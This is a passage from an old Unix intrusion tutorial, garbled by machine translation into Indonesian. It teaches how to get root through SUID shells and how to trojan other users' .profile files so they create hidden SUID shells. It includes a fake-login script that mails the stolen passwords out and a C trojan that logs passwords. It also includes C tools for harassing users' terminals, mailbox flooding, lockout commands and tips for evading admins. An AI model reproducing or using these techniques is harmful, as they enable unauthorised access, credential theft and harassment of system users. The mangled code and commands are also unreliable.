SUID keperluan untuk menjadi root. Apa yang saya maksudkan? Sebagai contoh, membuat 'ls'
a root 'shell'. :

# Chmod a + s / bin / ls
# Exit
$ Ls-l / usr / fred
..
......
etc crap

Ls kemudian akan mampu mencampuri direktori APAPUN. Jika Anda melakukan hal yang sama untuk
"kucing" Anda bisa melihat file. Jika Anda melakukannya untuk rm, Anda dapat menghapus
file. Jika Anda melakukannya untuk 'ed', Anda dapat mengedit file (bagus!), Di manapun pada
sistem (biasanya).


Bagaimana cara mendapatkan root?
------------------

   Pertanyaan bagus memang. Untuk membuat sebuah program yang mengatur user-id shell untuk root,
Anda harus menjadi root, kecuali Anda beruntung. Apa yang saya maksudkan? Nah, katakanlah
Anda menemukan sebuah program yang membuat user-id untuk menjadi root. Jika Anda memiliki akses
untuk menulis ke file tersebut, coba tebak? Anda dapat menyalin lebih dari itu, tapi tetap
bit uid ditetapkan. Jadi, katakan Anda melihat bahwa program chsh adalah pengaturan
id juga pengguna root. Anda dapat menyalin / bin / sh di atasnya.

$ Ls-l
10.999 lain rwsrwsrws root Januari 4 chsh
$ Cp / bin / sh chsh
$ Chsh
#

Lihat? Itu hanya satu cara. Ada yang lain, yang saya sekarang akan berbicara
tentang.

Lebih tentang pengaturan UID
-----------------------

        Sekarang, bentuk generik untuk membuat sebuah program mengatur User-ID bit
adalah dengan menggunakan perintah ini:

chmod a + s file

Mana 'file' adalah file yang sudah ada yang valid. Sekarang, hanya mereka yang memiliki file
dapat mengatur ID pengguna sedikit. Ingat, apa pun ANDA membuat, ANDA sendiri, jadi jika
Anda menyalin th / bin / sh, yang Anda login sebagai pemiliknya, atau JIKA yang
UID diatur ke sesuatu yang lain, New UID memiliki file. Ini membawa
saya BAD file permissions.



II. HACKING: Bad Direktori Perizinan

        Sekarang, apa yang saya maksud untuk hak akses direktori buruk? Yah, cari
file yang ANDA dapat menulis ke, dan di atas semua, DIREKTORI Anda dapat menulis ke.
Jika Anda memiliki write permissions pada file, Anda dapat memodifikasi itu. Sekarang, ini datang
berguna ketika ingin untuk mencuri akses seseorang. Jika Anda dapat menulis
pengguna. profil, Anda berada dalam bisnis. Anda dapat memiliki pengguna tersebut. Profil
menciptakan sebuah shell SUID bagi anda untuk menjalankan ketika Anda logon berikutnya setelah pengguna.
Jika file. Profil ini ditulis untuk Anda, Anda dapat melakukan ini:

$ Ed. Profil
[beberapa nomor akan berada di sini]
? sebuah
cp / bin / sh. runme
chmod a + x. runme
chmod a + s. runme
(control-d)
? w
[filesize baru akan ditampilkan]
? q
$

  Sekarang, ketika pengguna log berikutnya, para. Profil akan menciptakan. Runme yang
  akan mengatur ID pengguna yang. profil Anda diubah. Idealnya, Anda akan
  kembali ke dalam dan zap mereka SUID baris setelah dibuat, dan Anda akan membuat
  sebuah SUID di tempat lain, dan menghapus satu di dir. The. Runme akan
  tidak muncul dalam direktori REGULAR pengguna daftar, itu hanya akan muncul
  jika ia tidak "ls-a" (atau ls dengan-kombinasi), karena, para '. " membuat
  file tersembunyi.

Di atas adalah TROJAN HORSE, yang merupakan salah satu yang paling banyak digunakan / disalahgunakan
metode untuk memperoleh kekuasaan yang lebih besar pada sebuah unix. Di atas dapat dilakukan dalam C melalui
sistem () perintah, atau dengan hanya biasa menggunakan open (), chmod (), dan sejenisnya.
* Ingatlah untuk memeriksa dan melihat apakah pengguna root profil ditulisi *
* Itu terletak di /. Profil (biasanya) *


   TERBAIK hal yang dapat terjadi adalah untuk menemukan direktori pengguna ditulisi
   oleh Anda. Mengapa? baik, Anda dapat mengganti semua file dalam direktori
   licik dengan script Anda sendiri, atau C trojans. Bahkan jika sebuah file tidak
   ditulisi oleh Anda, Anda masih dapat menimpa dengan deleteing itu. Jika Anda
   dapat membaca berbagai file, seperti pengguna. profil, Anda dapat membuat
   menghapus trojan diri sebagai demikian:

 $ Cp. Temp.pro profil
 $ Ed. Profil
 1234
 ? sebuah
 cp / bin / sh. runme
 chmod a + x. runme
 chmod a + s. runme
 mv temp.pro. profil
 (control-d)
 ? w
 [nomor lain]
 ? q
 $ Chown that_user temp.pro

  Apa yang terjadi adalah bahwa Anda membuat salinan. Profil sebelum Anda mengubahnya.
  Kemudian, Anda mengubah aslinya. Ketika ia berjalan itu, langkah-langkah yang dibuat, kemudian
  versi asli ditempatkan di atas arus, jadi jika si idiot terlihat di
  nya. profil, ia tidak akan melihat sesuatu yang luar biasa, kecuali bahwa ia
  bisa melihat daftar panjang bahwa perubahan tanggal sangat baru-baru ini, tetapi
  sebagian besar pengguna tidak paranoid ekstensif cukup untuk melakukan pemeriksaan pada file mereka,
  kecuali sysadm file (seperti passwd).

  Sekarang, ingat, meskipun Anda dapat menulis ke sebuah dir, Anda mungkin tidak dapat
  untuk menulis ke file tanpa menghapusnya. Jika Anda tidak memiliki perms menulis
  untuk file itu, Anda harus menghapusnya dan menulis sesuatu di tempatnya
  (meletakkan file dengan nama yang sama di sana). Yang paling penting untuk diingat
  jika Anda harus menghapus. profil adalah untuk Ganti yang PEMILIK kembali setelah Anda
  membangun yang baru (hehe) untuk pengguna tersebut. Dia bisa dengan mudah melihat bahwa
  . profil tersebut telah berubah dan dia akan tahu siapa yang melakukannya. YA, Anda dapat mengubah
  pemilik untuk orang lain selain diri Anda sendiri dan pemilik asli (seperti melempar
  dia off), tapi ini tidak bijaksana sebagai akses tetap biasanya bergantung pada kenyataan
  bahwa mereka tidak tahu kau ada.

  Anda dapat dengan mudah mengubah file cron jika Anda dapat menulis kepada mereka. Aku tidak akan
  masuk ke detail tentang cronfile format di sini, hanya menemukan file crontab
  dan memodifikasi mereka untuk menciptakan sebuah shell di suatu tempat sebagai root setiap sekali dalam satu waktu,
  dan menetapkan user-id.

III. Trojan Horses pada terminal terpisah.
        Pada dasarnya ini: Anda dapat mengirim sampah ke layar pengguna dan
        kacau dia naik cukup buruk untuk memaksakan logoff, menciptakan terpisah
        rekening. Kemudian Anda dapat mengeksekusi sebuah kuda trojan dari terminal yang
        tempat login atau sesuatu, sehingga panggilan berikutnya yang dapat menghantam
        trojan kuda. BIASANYA ini mengambil bentuk dan login palsu
        menulis username / pw entererred ke disk.

        Sekarang, ada trojan horse lain yang tersedia bagi Anda untuk menulis. Sekarang,
        jangan berpikir tentang virus, karena mereka tidak bekerja kecuali ROOT berjalan
        mereka. Pokoknya, yang umum akan trjan shell script untuk mendapatkan
        sandi, kemudian kirimkan kepada Anda. Sekarang, Anda dapat mengganti kode untuk
        menghapus trojan diri dengan satu mengatakan sesuatu seperti:
        echo "login: \ c"
        baca lgin
        echo off (bekerja pada beberapa sistem)
        (jika diatas tidak tersedia ...: stty-noecho)
        echo "Password: \ c"
        baca pw
        echo on
        echo "Login: $ lgin - Pword: $ pw" | mail yang Anda

        Sekarang, cara terbaik untuk menggunakan ini adalah dengan memasukkannya ke dalam file script yang terpisah
        sehingga dapat dihapus sebagai bagian dari diri menghapus trojan. Cepat
        modifikasi, menghapus "login:" dan meninggalkan password
        mungkin terlihat seperti SU, sehingga Anda bisa mendapatkan password root. Tetapi
        pastikan menghapus program itu sendiri. Berikut adalah contoh trojan
        login di C:

        # include
        / * Dapatkan defs yang diperlukan .. * /
        main ()
        (
          char * nama [80];
          char * pw [20];
          FILE * strm;
          printf ( "login:");
          mendapat (nama);
          pw = getpass ( "Password:");
          strm = fopen ( "/ WhereEver / Whateverfile", "a");
          fprintf (strm, "Pengguna: (% s), PW [% s] \ n", nama, pw);
          fclose (strm);
          / * Meletakkan semacam kesalahan di bawah ... atau sesuatu ... * /
          printf ( "Bus Error - Core dump \ n");
          exit (1);
          )

        Program mendapatkan login, dan password, dan menambahkan ke
        file (/ mana / whateverfile), dan menciptakan file jika dapat,
        dan jika tidak ada. Itu hanya contoh. Gangguan jaringan
        datang kemudian.

 IV. Sistem aneh

        Mungkin ada sistem Anda dapat log in ke tanpa masalah, dan menemukan beberapa
kendur menu, database, atau pengolah kata sebagai shell anda, tanpa cara untuk yang
perintah interpreter (sh, ksh, dll.). Jangan menyerah di sini. Beberapa sistem akan
membiarkan Anda login sebagai root, tapi memberikan menu yang akan memungkinkan Anda untuk menambahkan
rekening. Namun, orang yang melakukan ini biasanya memiliki beberapa perangkat lunak yang dibeli
paket berlari, dan orang-orang yang membuat perangkat lunak TAHU bahwa orang-orang yang
yang membelinya adalah idiot, dan kadang-kadang hanya hal yang akan memungkinkan Anda untuk
menambahkan account dengan user-id 100 atau lebih besar, dengan menushell khusus sebagai
shell. Anda mungkin tidak akan memilih shell, program ini akan mungkin
tongkat satu pada pengguna yang Anda buat yang sangat membatasi. NAMUN, kadang-kadang
Anda dapat mengedit account, dan akan daftar account Anda dapat mengedit di layar.
NAMUN, program-program ini biasanya hanya daftar orang-orang dengan UID> 100, jadi anda tidak
mengedit account yang baik, mereka menghentikan Anda dari donot mengedit account
dengan sebuah UID <100. The "mengedit" biasanya hanya melibatkan mengubah password
pada account. Jika account memiliki * password, passwd standar
program yang program perubahan, akan mengatakan tidak pw ada, dan akan meminta Anda untuk
masukkan satu. (wallah! Anda telah dibebaskan account untuk diri Anda sendiri. Biasanya
bin dan sys memiliki * untuk password). Jika ada Anda harus memasukkan
Password lama (saya harap kau tahu itu!) untuk account tersebut. Kemudian, Anda
dalam perahu yang sama seperti sebelumnya. (BTW - Sistem aneh ini biasanya
Xenix/386, Xenix/286, atau Altos/286)
        Dengan pengolah kata, biasanya Anda dapat memilih perintah beban,
dan ketika meminta pengolah kata file, Anda dapat memilih passwd
file, untuk mencari membuka rekening, atau setidaknya yang sah untuk hack. Contoh
akan menjadi sistem Informix. Anda bisa mendapatkan pengolah kata dengan bahwa
sebagai kata Samna, atau sesuatu, dan orang Lamers tidak akan melindungi terhadap
kotoran seperti itu. Mengapa? Passwd HAS file yang akan dibaca oleh semua untuk yang paling
bagian, sehingga setiap program dapat "stat" Anda. Namun, pengolah kata dapat dilakukan
untuk membatasi mengedit ke direktori, atau kumpulan direktori. Berikut ini merupakan
contoh:

        $ Id
        uid = 100 (sirhack) gid = 100 (users)
        $ Pedang
        (pengolah kata yang muncul)
        (pilih LOAD A FILE)
        : / etc / passwd
       
        (Anda lihat:)
        root: dkdjkgsf!!!: 0:0: Sysop: /: / bin / sh
        sirhack: dld! k %%^%: 100:100: Sir Hackalot: / usr/usr1/sirhack: / bin / sh
        datawiz:: 101:100: Data Wizard: / usr/usr1/datawiz: / bin / sh
        ...

Sekarang aku telah menemukan sebuah account untuk mengambil alih! "datawiz" akan mendapatkan saya tanpa
masalah, maka saya dapat mengubah password, yang ia akan tidak suka sama sekali.
Beberapa sistem cuti "sysadm" unpassworded (bodoh!), Dan sekarang, Sebagian besar versi
Unix, baik itu Xenix, Unix, BSD, atau entah apa lagi, mereka mengirimkan sebuah sysadm shell yang
menu akan mengusir semua kotoran penting, bahkan menciptakan user, tetapi Anda harus
memiliki ansi atau sesuatu.

        Anda biasanya dapat mengetahui bahwa anda akan mendapatkan menu. Kadang-kadang pada UNIX
        SISTEM V, ketika ia mengatakan TERM = (termtype), dan sedang menunggu
        Anda dapat menekan kembali atau apa pun, Anda mungkin akan mendapatkan sebuah menu .. ack.

V. shadow file Password
        Tidak banyak berbicara tentang hal ini. semua itu, adalah ketika setiap password bidang
        dalam file password memiliki tanda "x" atau hanya satu karakter. Apa
        yang dilakukan adalah sekrup Anda, karena Anda tidak bisa membaca sandi gelap
        file, hanya root dapat, dan berisi semua password, sehingga Anda akan
        tidak tahu apa yang tidak memiliki password account, dll

Ada banyak skema lain untuk hacking unix, banyak lagi yang lainnya, dari
menulis kode assembly menjadi kode yang mengubah PCB melalui self-kode perubahan yang
menyela penangan yang tidak menangkap, dan hal-hal seperti itu. Namun, saya
tidak ingin membagi-bagikan segala sesuatu, dan ini tidak dimaksudkan untuk maju Unix
Hacker, atau minimal bukan orang yang akrab dengan 68xxx, Unix 80.386
bahasa assembly atau apa pun. Sekarang saya akan Berbicara tentang internet.



--->>> Internet <<<---
        Mengapa aku ingin bicara tentang Internet? Yah, karena merupakan perdana
contoh jaringan TCP / IP, lebih dikenal sebagai WAN (Wide-Area-Network).
Sekarang, terutama Anda akan menemukan sistem BSD dari Internet, atau SunOS, untuk
mereka adalah yang paling umum. Mereka mungkin tidak dapat ketika Sistem V, Rel 4.0, Versi
2,0 keluar. Pokoknya, ini BSD / SunOSs ingin membuat mudah untuk melompat
dari satu komputer ke komputer lain setelah Anda log in Apa yang terjadi adalah
Sistem SETIAP memiliki "halaman Yello file password". Lebih dikenal sebagai yppasswd.
Jika Anda melihat di sana, dan melihat kosong password Anda dapat menggunakan rsh, rlogin, dll.
untuk masuk ke sistem itu. Satu sistem secara khusus saya datang di punya
sebuah yppasswd file di mana * 300 * pengguna memiliki password kosong di Yellow Pages.
Setelah aku masuk pada "test" account, SEMUA harus saya lakukan adalah memilih yang saya inginkan
untuk menjadi, dan lakukan: rlogin-l user (kadang-n). Maka akan login saya ke
sistem saya sudah aktif, melalui TCP / IP. Namun, ketika Anda melakukan ini,
ingat bahwa hanya yppasswd berkaitan dengan sistem Anda berada pada pada
waktu. Untuk menemukan account, Anda dapat menemukan file yppasswd dan lakukan:

% Cat yppasswd | grep::

Atau, jika Anda tidak dapat menemukan yppasswd ..

% Ypcat passwd | grep::

Pada satu sistem (yang akan tetap rahasia), saya menemukan rekening DAEMON
dibiarkan terbuka di file yppasswd. Tidak buruk. Pokoknya, melalui satu sistem
di internet, Anda bisa menjangkau banyak. Hanya menggunakan rsh, atau rlogin, dan melihat
di file: / etc / hosts untuk situs yang valid yang dapat Anda jangkau. Jika Anda
pada sistem, dan rlogin ke tempat lain, dan meminta sandi,
itu hanya berarti satu dari dua hal:

A. Account Anda bahwa Anda telah meng-hack di satu komputer ini pada target
   komputer juga. Cobalah untuk menggunakan password yang sama (jika ada) Anda menemukan
   account hacked miliki. Jika default, maka sudah pasti pada
   sistem lain, namun nasib baik ...

B. rlogin / rsh melewati sepanjang nama pengguna Anda saat ini ke sistem remote, sehingga
   seperti mengetikkan login Anda pada "login:" prompt. Anda mungkin tidak ada di
   mesin lainnya. Cobalah "rlogin-l login_name", atau rlogin-n nama ..
   kadang-kadang, Anda bisa menjalankan "rwho" pada komputer lain, dan mendapatkan yang valid
   rekening.

Beberapa catatan tentang server internet. Ada "gateway" yang anda dapat masuk ke
yang akan memungkinkan akses ke situs internet BANYAK. Mereka sebagian besar melarikan diri
yang dimodifikasi GL / 1 atau GS / 1. Bukan masalah besar. Mereka memiliki file help. Akan tetapi,
Anda bisa mendapatkan "privilged" akses pada mereka, yang akan memberi Anda CONTROL dari
gateway .. Anda dapat mematikannya, menghapus sistem dari Internet, dll.
Bila Anda meminta untuk menjadi istimewa, anda akan ditanyakan untuk password. Ada
default. Defaultnya adalah "sistem". Aku datang di * 5 * gateway dengan
default password. Kemudian lagi, DECNET memiliki password yang sama, dan aku telah
datang di 100 + dari mereka yang istimewa default password. CERT Sucks.
sebuah Gateway yang menuju ke APPLE.COM memiliki password default. Siapapun bisa
apple.com telah dihapus dari internet. Diketahui bahwa ada banyak
sekarang jaringan yang menggunakan TCP / IP .. Seperti BARRNET, LANET, dan banyak lainnya
Jaringan universitas.

--** Having Fun **--

Sekarang, jika tidak ada yang lain, Anda harus atleast bersenang-senang. Tidak, aku tidak bermaksud
pergi mencemari hardrives, atau direktori Membatalkan untuk mengambil inodes, maksudku
bermain dengan pengguna online. Ada banyak hal yang harus dilakukan. Re-output langsung
kepada mereka adalah masalah besar. Berikut ini sebuah contoh:
 $ Yang
 loozer tty1
 sirhack tty2
 $ Banner Anda Suck> / dev/tty1
 $
 Yang mengirim output loozer. Adalah tempat yang tty1 I / O yang sedang dilakukan
 ke terminal (biasanya sebuah modem jika itu adalah TTY). Anda dapat repetitiously
 banner nya dengan melakukan sementara pernyataan di shell, menyebabkan dia logoff. Atau
 Anda bisa mendapatkan licik, dan hanya sekrup dengan dia. Perhatikan program C ini:

# include
# include
# include

main (argc, argumen)
int argc;
char * argumen [];
(
int menangani;
char * pstr, * Olm [80];
char * devstr = "/ dev /";
int acnt = 2;
FILE * strm;
pstr = "";
if (argc == 1) (
                printf ( "OL (OneLiner) Versi 1,00 \ n");
                printf ( "Oleh Sir Hackalot [PHAZE] \ n");
printf ( "\ nSyntax: ol pesan tty \ n");
printf ( "Contoh: ol tty01 Anda mengisap \ n");
exit (1);
)
printf ( "OL (OneLiner) Versi 1.0 \ n");
        printf ( "Oleh Sir Hackalot [PHAZE] \ n");
if (argc == 2) (
strcpy (Olm ,"");
printf ( "\ nDummy! Anda lupa Supply sebuah SATU LINE MESSAGE \ n");
printf ( "Masukkan satu Ini =>");
mendapat (Olm);
)
strcpy (pstr ,"");
strcat (pstr, devstr);
        strcat (pstr, argumen [1]);
printf ( "Mengirim ke: [% s] \ n", pstr);
strm = fopen (pstr, "a");
if (strm == NULL) (
printf ( "Kesalahan menulis ke:% s \ n", pstr);
printf ( "Penyebab: Tidak Write perms? \ n");
exit (2);
)
if (argc == 2) (
                if (strcmp (logname (), "sirhack")! = 0) fprintf (strm, "Pesan dari (% s): \ n", logname ());
                fprintf (strm, "% s \ n", Olm);
fclose (strm);
printf ( "Pesan Terkirim. \ n");
exit (0);
)
        if (argc> 2) (
                if (strcmp (logname (), "sirhack")! = 0) fprintf (strm, "Pesan dari (% s): \ n", logname ());
while (acnt <= argc - 1) (
fprintf (strm, "% s", argumen [acnt]);
acnt + +;
)
fclose (strm);
printf ( "Pesan terkirim! \ n");
exit (0);
)
)

Apa yang di atas tidak adalah mengirim satu baris teks ke perangkat ditulisi oleh Anda
di / dev. Jika Anda mencoba pada user baru bernama "sirhack" itu akan memberitahukan sirhack
dari apa yang Anda lakukan. Anda bisa menyediakan sebuah argumen pada baris perintah, atau
meninggalkan pesan kosong, maka ia akan meminta untuk satu. Anda HARUS menyediakan
Terminal. Juga, jika anda ingin menggunakan?, Atau *, atau (), atau [], Anda harus tidak
penawaran pesan pada baris perintah, tunggu sampai ia meminta Anda. Contoh:

$ Ol tty1 Anda Suck!
OL (OneLiner) Versi 1,00
oleh Sir Hackalot [PHAZE]
Mengirim ke: [/ dev/tty1]
Pesan Terkirim!
$
Atau ..
$ Ol tty1
OL (OneLiner) Versi 1,00
oleh Sir Hackalot [PHAZE]
Bodoh! Anda Lupa untuk Supply sebuah ONE LINE PESAN!
Masukkan satu di sini => Loozer! Logoff (SEKARANG)!! ^ G ^ G
Mengirim ke: [/ dev/tty1]
Pesan Terkirim!
$

  Anda bahkan dapat menggunakannya untuk pesan-pesan palsu dari root. Berikut ini adalah:


/ *
 * Hose pengguna lain
 * /

# include
# include
# include
# include
# include
# include
# include
# include

# define NMAX sizeof (ubuf.ut_name)

struct utmp ubuf;
struct termio oldmode, mode;
struct nama utsname;
int yn;
int loop = 0;
char * realme [50] = "Unknown";
char * strcat (), * strcpy (), aku [50] = "???", * nya, * mytty, histty [32];
char * histtya, * ttyname (), * strrchr (), * getenv ();
int signum [] = (SIGHUP, SIGINT, SIGQUIT, 0), logcnt, eof (), timout ();
FILE * tf;

main (argc, argv)
int argc;
char * argv [];
(
mendaftar FILE * uf;
char c1, lastc;
int goodtty = 0;
lama waktu jam = ((panjang *) 0);
struct tm * localtime ();
struct tm * localclock = localtime (& jam);
struct stat stbuf;
char psbuf [20], buf [80], jendela [20], junk [20];
FILE * pfp, * popen ();

if (argc <2) (
                printf ( "usage: selang user [ttyname] \ n");
exit (1);
)
        dia = argv [1];

if (argc> 2)
histtya = argv [2];
if ((uf = fopen ( "/ etc / utmp", "r")) == NULL) (
printf ( "tidak dapat membuka / etc / utmp \ n");
exit (1);
)
cuserid (me);
if (saya == NULL) (
printf ( "Tidak dapat menemukan nama login Anda \ n");
exit (1);
)
    mytty = ttyname (2);
    if (mytty == NULL) (
printf ( "Can't find your tty \ n");
exit (1);
)
if (stat (mytty, & stbuf) <0) (
printf ( "Cannot stat tty Anda - Sistem ini adalah palsu. \ n");
)
if ((stbuf.st_mode & 02) == 0) (
printf ( "Anda telah mematikan write permissions (hehe!). \ n");
)

    if (histtya) (
if (! strncmp (histtya, "/ dev /", 5))
histtya = strrchr (histtya, '/') + 1;
strcpy (histty, "/ dev /");
strcat (histty, histtya);
)
while (fread ((char *) & ubuf, sizeof (ubuf), 1, uf) == 1) (
if (ubuf.ut_name [0] == '\ 0')
melanjutkan;
if (! strncmp (ubuf.ut_name, dia, NMAX)) (
logcnt + +;
if (histty [0] == 0) (
strcpy (histty, "/ dev /");
strcat (histty, ubuf.ut_line);
)
if (histtya) (
if (! strcmp (ubuf.ut_line, histtya))
goodtty + +;
)
)
)
fclose (uf);
        if (logcnt == 0) (
printf ( "% s tidak ditemukan! (Not logged in?) \ n", dia);
exit (1);
)

if (histtya == 0 & & logcnt> 1) (
printf ( "% s login lebih dari sekali \ nwriting ke% s \ n", dia, histty +5);
)
if (akses (histty, 0) <0) (
printf ( "Tidak seperti tty? [% s] \ n", histty);
exit (1);
)
sinyal (SIGALRM, timout);
alarm (5);
if ((tf = fopen (histty, "w")) == NULL)
goto perm;
alarm (0);
if (fstat (fileno (tf), & stbuf) <0)
goto perm;
if (geteuid ()! = 0 & & (stbuf.st_mode & 02) == 0)
goto perm;
ioctl (0, TCGETA, & oldmode); / * menyelamatkan negara tty * /
ioctl (0, TCGETA, & mode);
Sig (eof);
uname (& name);
        if (strcmp (kepadanya, "YOURNAMEHERE") == 0) yn = 1;
  if (yn == 1) (
    fprintf (tf, "\ r (% s mencoba untuk HOSE Anda dengan NW) \ r \ n", saya);
    fclose (tf);
    printf ( "Critical Error Handler:% s menjalankan proses saling bertentangan \ n", dia);
    exit (1);
)
    fflush (tf);
mode.c_cc [4] = 1;
mode.c_cc [5] = 0;
mode.c_lflag & = ~ ICANON;
ioctl (0, TCSETAW, & mode);
lastc = '\ n';


printf ( "Backspace / Spin kehilangan di set Cursor:% s \ n", dia);
   while (loop == 0) (
   c1 = '\ b';
   write (fileno (tf), & c1, 1);
   tidur (5);
fprintf (tf, "\ \ \ b | \ b / \ b-\ b + \ b");
   fflush (tf);
   )




perm:
printf ( "Write Perizinan menyangkal! \ n");
exit (1);
)

timout ()
(

printf ( "Timeout mereka membuka tty \ n");
exit (1);
)

eof ()
(
printf ( "Bye .. \ n");
ioctl (0, TCSETAW, & oldmode);
exit (0);
)

ex ()
(
register i;
Sig (SIG_IGN);
i = fork ();
if (i <0) (
printf ( "Coba lagi \ n");
goto keluar;
)
if (i == 0) (
Sig ((int (*)()) 0);
execl (getenv ( "SHELL")? getenv ( "SHELL "):"/ bin / sh", "sh", "-t", 0);
exit (0);
)
while (menunggu ((int *) NULL)! = i)
;
printf ( "! \ n");
keluar:
Sig (eof);
)

Sig (sig)
int (* sig) ();
(
register i;
for (i = 0; signum [i]; i + +)
sinyal (signum [i], sig);
)



Apa yang di atas adalah, adalah sebuah versi modifikasi dari standar perintah menulis.
Apa yang dilakukannya, adalah memutar kursor sekali, lalu backspace sekali atas
layar pengguna dijalankan di. Semua walaupun, secara fisik tidak mempengaruhi
masukan, pengguna berpikir itu tidak. Oleh karena itu, ia garbles masukan. Tidur (xx)
dapat diubah untuk membuat hal-hal yang terjadi lebih sering, atau kurang sering.
Jika Anda memasukkan nama login Anda di "YOURNAMEHERE" slot, ini akan melindungi Anda
dari tertabrak itu, jika seseorang dari sebuah unix akses Umum lintah yang
eksekusi dari direktori Anda.
Anda bisa membuat program yang lebih singkat melakukan hal yang hampir sama, tetapi
Anda harus menyediakan terminal, amati:

/ * Backspace virus, oleh Sir Hackalot [Phaze] * /
# include
# include
main (argc, argv)
char * argv [];
int argc;
(
        int x = 1;
        char * device = "/ dev /";
        FILE * histty;
        if (argc == 1) (
        printf ( "Bafoon. Supply sebuah TTY. \ n");
        exit (1);
        )
        strcat (device, argv [1]);
        / * Membuat nama file / dev / tty .. * /
        histty = fopen (perangkat, "a");
        if (histty == NULL) (
        printf ( "Error membuka / menulis ke tty. Periksa perms mereka. \ n");
        exit (1);
        )
        printf ( "BSV - Backspace virus, Oleh Sir Hackalot. \ n");
        printf ( "The Sucker pada% s adalah mendapatkannya! \ n", device);
        while (x == 1) (
        fprintf (histty, "\ b \ b");
        fflush (histty);
        tidur (5);
        )
        )

Thats segala yang ada untuk itu. Jika Anda dapat menulis kepada mereka tty, Anda dapat menggunakan ini pada
mereka. It mengutus dua backspaces kepada mereka setiap approx. 5 detik. Kamu
harus menjalankan program ini di latar belakang. (&). Berikut ini sebuah contoh:

$ Yang
sirhack tty11
loozer tty12
$ Bsv tty12 &
[1] 4.566
BSV - Backspace virus, oleh Sir Hackalot
The sucker on / dev/tty12 semakin itu!
$

Sekarang, itu akan tetap "menyerang" dia, sampai ia loggs dari, atau Anda membunuh proses
(yang 4.566 - ketika Anda menggunakan &, itu memberi pid [biasanya]).

Catatan ** *** Perlu diingat bahwa MSDOS, dan sistem OP lain menggunakan The CR / LF
metode untuk mengakhiri baris. Namun, berakhir LF baris di Unix.
Anda harus STRIP CR's di sebuah ascii upload jika Anda ingin sesuatu yang Anda upload
ke editor untuk bekerja dengan baik. Lain, Anda akan melihat ^ M pada akhir setiap
baris. Aku tahu itu menyebalkan, tapi Anda hanya perlu kompensasi untuk itu.

Saya memiliki sejumlah program lain yang mengganggu pengguna, tetapi itu cukup untuk
imajinasi Anda akan mendapatkan, asalkan Anda seorang C programmer. Anda dapat mengganggu
pengguna cara lain. Satu hal yang dapat Anda lakukan adalah mengacau pengguna kotak surat.
Cara untuk melakukan ini adalah untuk menemukan file biner (30k atau lebih besar) pada sistem
ANDA yang memiliki akses untuk membaca. kemudian, lakukan ini:

$ Cat binary_file | mail loozer

atau

$ Mail loozer

Yang biasanya akan tumpah ke 2 pesan atau lebih. The 1st pesan akan
memiliki dari garis .. (dari Anda ..), tetapi kedua TIDAK AKAN! Karena tidak
tidak, surat pembaca akan tetap keluar dan memberinya pesan kesalahan sampai
itu akan tetap .. Cara untuk memperbaikinya adalah pergi ke kotak surat yang tertembak
dengan trik ini (biasanya hanya satu yang tertembak (atau akar) dan melakukan hal ini),
dan mengedit file, dan menambahkan dari baris .. seperti
Dari username ..

maka akan terlalu masalah. Anda dapat sekrup pengguna dengan "kucing" ing biner ke tty.
mengatakan Loozer adalah pada tty12. Anda dapat mengatakan ..
$ Cat binary_file> / dev/tty12
$
Mungkin berhenti untuk sementara waktu sementara output itu. Jika Anda ingin melanjutkan apa
Anda lakukan langsung, lakukan:
$ Cat binary_file> / dev/tty12 &
[1] 4.690
$
Dan dia mungkin akan logoff. Anda dapat mengirim output apa pun untuk nya
terminal. Bahkan apa yang ANDA lakukan di shell. Seperti ini:
$ Sh> / dev/tty12
$
Anda akan mendapatkan prompt Anda, tetapi Anda tidak akan melihat output perintah apapun, dia
akan ...
$ Ls
$ Banner Goblok!
$ Echo tolol!
$
sampai Anda ketik exit, atau tekan ctrl-d.


Ada banyak banyak hal yang dapat Anda lakukan. Anda dapat pura-pura "menulis" dengan seseorang
dan membuat mereka berpikir itu dari suatu tempat di sisi lain dari neraka. Jadi
kreatif.

Ketika Anda mencari hal-hal yang harus dilakukan, mencari lubang, atau mencoba untuk mendapatkan
seseorang untuk menjalankan trojan kuda yang membuat shell SUID. Jika Anda
seseorang untuk menjalankan trojan yang melakukan itu, Anda dapat menjalankan SUID, dan log mereka
ass off dengan membunuh ibu mereka PID. (kill -9 apapun). Atau, Anda dapat
mengunci mereka keluar dengan menambahkan "membunuh -1 0" untuk mereka. profil. Pada subjek
lubang, selalu mencari BURUK SUID bit. Pada satu sistem yang dianggap tak terkalahkan
Saya bisa membaca / memodifikasi semua surat, karena saya menggunakan surat yang telah
baik GroupID set, dan UserID ditetapkan. Ketika saya pergi ke shell dari itu,
program langsung berubah Efektif ID kembali padaku, jadi aku tidak akan
mampu melakukan apa pun kecuali hal-hal yang biasa. Tapi itu tidak dirancang untuk mengubah
yang GROUP ID kembali. Para sysop telah melakukan kesalahan di sana. SO ketika aku melakukan sebuah ID
Saya menemukan group to be "Mail". Mailfiles adalah readble / ditulisi oleh
pengguna "mail", dan kelompok "mail". Saya kemudian mendirikan sebuah SGID (set group id) shell
untuk mengubah group id untuk "mail" ketika aku berlari itu, dan mengamati email penting,
dan itu membuatku info bagus. Jadi, berada di tampilan luar izin miskin.

Juga, setelah Anda memperoleh akses, Anda mungkin ingin menyimpannya. Beberapa tips cara melakukannya
adalah:
        1. Jangan berikan itu. Jika melihat bahwa JoeUser sysadm login dalam 500
           kali dalam satu malam .... kemudian ....
        2. Jangan tinggal berjam-jam pada suatu waktu. Mereka dapat melacak Anda kemudian. Juga
           mereka akan tahu ini tidak teratur untuk memiliki JoeUser pada selama 4 jam
           setelah bekerja.
        3. Jangan sampah sistem. Jangan menghapus file penting, dan tidak
           babi inodes, atau sesuatu seperti itu. Gunakan mesin tertentu
           tujuan (untuk lintah kode sumber, mengembangkan program-program, situs email).
           Dont menjadi bajingan, dan jangan mencoba untuk menghapus semua yang Anda bisa.
        4. Jangan sekrup dengan pengguna terus-menerus. Mengawasi proses mereka dan
           menjalankan apa yang mereka jalankan. Mungkin membuat Anda good info (mengintai!)
        5. Jika anda menambahkan sebuah account, pertama melihat account yang sudah di sana
           Jika anda melihat sekelompok account yang hanya 3 huruf abbrv. 'S,
           kemudian membuat Anda begitu. Jika banyak yang "cln, dok, menikah" atau sesuatu,
           tidak menambahkan salah satu yang "JoeUser", tambahkan satu itu adalah seseorang
           penuh inisial.

        6. Ketika Anda menambahkan account, menaruh nama wanita untuk
           deskripsi, jika cocok (Artinya, jika perusahaan hanya log on ke
           unix, memasukkan nama perusahaan di sana). Orang tidak curiga hacker
           untuk menggunakan nama-nama perempuan. Mereka mencari nama laki-laki.
        7. Jangan biaya mesin Unix terlalu banyak uang. Ie .. jangan merugikan suatu
